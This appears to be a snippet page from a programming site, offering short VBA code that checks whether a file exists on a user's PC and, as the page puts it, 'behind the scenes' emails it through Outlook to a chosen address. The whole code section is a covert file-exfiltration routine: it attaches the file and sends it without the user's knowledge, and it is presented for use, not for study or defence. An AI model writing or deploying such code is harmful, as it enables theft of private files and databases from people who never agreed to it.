• Home
 · 
• Encryption
 · 
• This will allow you to search for a file or database on a machine and email it to whom ever you wis

This will allow you to search for a file or database on a machine and email it to whom ever you wis

This will allow you to search for a file or database on a machine and email it to whom ever you wish. This happens behind the scenes so the

API Declarations


Dim oMessage As Outlook.MailItem
Dim mbFSO As New FileSystemObject

Const ForReading = 1
Const Create = False



Rate This will allow you to search for a file or database on a machine and email it to whom ever you wis

• 1
• 2
• 3
• 4
• 5

(1(1 Vote))

Set myOL = New Outlook.Application
Set oMessage = myOL.CreateItem(olMailItem)
Set mbFSO = CreateObject("Scripting.FileSystemObject")

strFileName = ("c:\temp\temp.txt")

   If mbFSO.FileExists(strFileName) Then
      
        oMessage.Subject = "File Present"
        oMessage.To = "[email protected]"
        oMessage.Body = "The file is on the users pc. . ."
        oMessage.Attachments.Add (strFileName)
        oMessage.Send
        
        oMessage.Subject = "File is not Present"
        
    Else
        oMessage.To = "[email protected]"
        oMessage.Body = "The file is not on the users pc. . ."
        oMessage.Send
    End If
        
        
     
Set oMessage = Nothing
Set myOL = Nothing
Set mbFSO = Nothing

End Sub